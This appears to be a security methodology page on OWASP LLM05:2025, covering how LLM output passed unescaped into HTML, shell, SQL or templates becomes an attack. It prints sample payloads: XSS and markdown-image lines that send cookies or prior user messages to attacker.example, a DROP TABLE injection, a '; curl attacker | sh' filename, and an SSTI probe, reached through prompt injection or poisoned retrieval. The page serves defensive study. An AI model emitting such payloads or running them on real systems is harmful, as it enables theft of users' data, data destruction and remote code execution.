improper-output-handling

LLM Improper Output Handling (LLM05:2025)

The LLM is an attacker-influenced source. Every byte it emits should be treated like raw HTTP input. Most products in 2026 still don't, and the result is a classic web-app vuln class wrapped in an LLM delivery vehicle: model output renders as HTML, gets concatenated into a shell command, or is interpolated into a SQL query.

1. Recognition signals

• Chat interface renders Markdown / HTML / images from the model.
• Agentic system passes model output to subprocess / exec / eval / os.system.
• Tool wrappers concatenate model output into URLs, SQL strings, or filesystem paths.
• Server-side templates (Jinja, Twig, Liquid) render model output with | safe / raw / autoescape disabled.
• Browser agents auto-fetch URLs the model emits.
• Code-execution sandboxes that run model-emitted Python.

2. Attack vectors

This is the LLM-channel mapping of the classic OWASP web Top 10. Trigger via direct chat input, indirect injection (LLM01), or poisoned retrieval (LLM04):

DOM XSS via Markdown rendering

![x](javascript:alert(1))
[click](javascript:document.location='https://attacker.example/?c='+document.cookie)
<img src=x onerror=fetch('https://attacker.example/?c='+document.cookie)>

Markdown-image SSRF / data exfil

![load](https://attacker.example/exfil?q=<previous-user-message-base64>)

The browser fetches the image; the attacker's log records the query string. Bridges to LLM02 disclosure.

SQL injection via tool-call argument

The model emits '; DROP TABLE users; -- inside a JSON tool call field that the wrapper concatenates into a SQL string.

Command injection via shell tool

Tool wrapper does subprocess.run(f"convert {filename} out.png", shell=True) and the model picks an attacker-supplied filename containing ; curl attacker | sh.

SSTI in server-rendered email / report

Tool emits {{ 7*7 }} into a Jinja-rendered notification and the caller renders without autoescape.